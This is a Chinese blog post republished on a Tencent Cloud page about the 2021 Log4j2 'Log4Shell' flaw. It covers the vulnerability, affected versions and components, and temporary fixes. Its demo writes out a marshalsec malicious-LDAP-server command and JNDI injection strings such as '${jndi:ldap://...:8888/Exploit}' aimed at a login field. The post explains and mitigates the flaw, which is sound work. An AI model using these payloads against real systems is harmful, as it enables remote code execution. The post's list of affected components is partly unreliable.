前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java 生态爆出史诗级漏洞,N 多程序员连夜修复,进度如何了

Java 生态爆出史诗级漏洞,N 多程序员连夜修复,进度如何了

作者头像
kk大数据
发布2021-12-13 12:11:41
5450
发布2021-12-13 12:11:41
举报
文章被收录于专栏:kk大数据kk大数据

可怕的漏洞

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。

作为 Java 日志界的扛把子,Log4j 和 Logback 几乎一统了江湖,影响面不可谓不广,下面我们就来亲身用代码来体会一下这个漏洞。

此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者灵活的读取环境中的配置。

简单点说,就是 log.info("{}",value) 这行代码中,{} 里的变量可以写一个命令,但是后端参数内容未做严格的控制,导致在打印日志的时候触发了这个漏洞。

下面我们来演示下这个漏洞。

首先我们使用 marshalsec 工具在本地启动一个 ldap 服务器(命令中的 jar 包可在公众号回复 log4j 获取)

代码语言:javascript
复制
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8086/static/#Exploit 8888

然后在本地做一个小型的 Java 项目,使用 log4j2 打印一行神器的日志:

代码语言:javascript
复制
    public static void main(String[] args) {
        log.info("start");
        String userName = "${jndi:ldap://0.0.0.0:8888/aaa}";
        log.info("userName:{}",userName);
    }

结果是:

代码语言:javascript
复制
2021-12-10 20:24:35,678 [main] INFO  logger - start
2021-12-10 20:24:35,678 [main] INFO  logger - userName:Reference Class Name: foo

打印的是后端 LDAP 服务器的输出,而不是一个正儿八经的字符串,这就很可怕了,这意味着攻击者可以自定义任何的恶意代码执行,只要业务系统代码中有此类变量的打印。

比如用户在登录页面上输入了类似 ${jndi:ldap://0.0.0.0:8888/Exploit} ,前后端没有做过校验,而后端又在日志中打印了 userName 变量的时候,就会触发这个漏洞。

然后我们再去 ldap 服务器上看,果然有这个请求发过来:

image-20211210202724345

影响版本及开源组件

Log4j2.x <= 2.14.1

受影响的开源组件有:

  • Spring-Boot-strater-log4j2
  • Apache Struts2
  • Apache Solr
  • Apache Flink
  • Apache Druid
  • ElasticSearch
  • flume
  • dubbo
  • Redis
  • logstash
  • kafka

修复方案

临时修复方案:

  1. 将系统环境变量 LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
  2. 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

目前 apache-log4j2 提供了一个临时的 log4j-2.15.0-rc2 补丁,此补丁功能是否完善还需要时间验证,只能等待官方发正式包。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 KK架构 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 可怕的漏洞
  • 影响版本及开源组件
  • 修复方案
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档